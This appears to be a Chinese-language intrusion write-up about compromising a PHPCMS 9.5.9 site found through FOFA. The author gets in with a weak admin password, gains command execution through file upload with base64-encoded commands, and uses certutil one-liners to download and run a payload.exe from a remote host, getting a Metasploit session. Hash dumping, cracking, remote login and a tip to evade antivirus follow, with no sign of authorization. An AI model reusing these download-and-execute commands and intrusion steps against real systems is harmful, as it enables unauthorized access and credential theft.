该目标起源于,通过fofa搜索“xx网络”,然后通过弱口令拿到了该后台权限,在后台发现这套系统为phpcms 9.5.9。
于是看看网上有没有历史漏洞,同时也问了一下好友@RG师傅,他找到一个历史漏洞文章:
我们在用户->管理会员->添加会员模块中进行文件上传
这是a.txt的内容,通过file_put_contents进行文件写入
但是这样文件上传会有一个问题,就是他这里可能会拦截或者解析不到你的命令,只能解析phpinfo()
但是如果执行别的命令就不行,比如whoami
考虑把内容进行base64编码一下试试
然后执行命令,就没有报错了,我们执行命令也要记得base64编码一下
既然可以执行命令,我这里尝试了hta上线和powershell上线,可能因为机器是腾讯云的缘故给我拦截了,于是请教了3h师傅,他和我说可以使用Windows系统中的Certutil/Bitsadmin/Powershell等命令来下载文件,命令是3h师傅整理的,在这里贴出来。
Certutil:
- %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
下载文件: certutil -urlcache -split -f http://192.168.1.108/payload.exe C:\ProgramData\payload.execertutil -urlcache -split -f http://192.168.1.108/base64.txt b64 & certutil -decode b64 C:\ProgramData\payload.exe & del b64 删除指定缓存: certutil -urlcache -split -f http://192.168.1.108/base64.txt delete 查看所有缓存: certutil -urlcache * 删除所有缓存: certutil -urlcache * delete
于是使用CertUtil远程文件下载,首先看一下当前文件路径,然后将命令编码一下再执行。
再次进行编码执行刚刚下载的文件得到MSF会话!
抓明文,但是抓不到
因为网站是phpstudy搭建,权限比较高,我们可以直接导出hash
解密hash
接下来远程登陆
总结:内网这块是3h师傅负责打的,思路很明确,当初在命令执行的时候考虑过直接创建用户,但是失败了就没再考虑,能执行系统命令的时候可以使用Windows自带的文件来下载工具,如目标有杀软时请自行做下免杀处理。